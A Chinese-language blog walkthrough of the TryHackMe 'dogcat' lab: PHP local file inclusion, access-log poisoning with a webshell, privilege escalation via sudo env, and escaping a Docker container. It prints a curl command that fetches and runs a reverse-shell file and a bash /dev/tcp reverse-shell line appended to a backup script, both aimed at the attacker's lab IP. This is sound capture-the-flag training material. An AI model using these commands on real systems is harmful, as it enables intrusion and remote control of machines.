TryHackMe-dogcat

发布于 2022-11-09  260 次阅读


简介

我做了一个网站,您可以在其中查看狗和/或猫的照片!通过 LFI 利用 PHP 应用程序并突破 docker 容器。

Task

首先还是扫描下端口,发现只开了80和22端口

访问网站

使用burp抓包,根据提示进行文件包含
发现报错,爆出代码

根据代码可以看出,首先包含的时候一定要存在dog或者cat,然后他会默认加上.php后缀
这时候爆出存在一个flag.php的文件

尝试包含,这里不可以直接包含文件

尝试使用php://filter
成功包含index.php

这里我们先包含flag.php看看

解密

成功获取flag1
紧接着查看下index,确认了文件包含的源码写法

接着我们尝试shell
在本地文件包含中,常见的是包含日志文件
通常的路径是/var/log/apache2/access.log
可以发现成功包含
尝试UA头写入一句话木马

成功写入,且成功解析
接着老样子,准备反弹shell马

本地开启http 服务

接着使用一句话木马下载文件

curl 10.10.76.255:8000/php-reverse-shell.php -o shell.php && chmod +x /tmp/shell && /tmp/shell

url编码之后发包,成功下载

访问http://10.10.167.160/shell.php成功反弹shell(请无视页面的Unable to connect,重新开了个靶场--IP变了)

在网站根目录的上一层找到第二个flag

尝试提权
发现env可以免密高权限执行

首先先改成伪终端

目标机器没有python

script -qc /bin/bash /dev/null

成功切换

通过查阅资料,可以直接下面命令提权

成功提权

成功找到第三个flag

查看了下环境,发现在一个docker里面

继续进行信息搜集
在opt目录下发现了一个备份文件夹,里面有一个备份脚本

查看了下时间,发现备份文件刚刚生成,但是我没有找到任何计划任务

尝试在这个sh文件中添加反向shell

echo "bash -i >& /dev/tcp/10.10.76.255/7777 0>&1" >> backup.sh

过了半分钟shell成功反弹回来

成功找到第四个flag

届ける言葉を今は育ててる
最后更新于 2022-11-09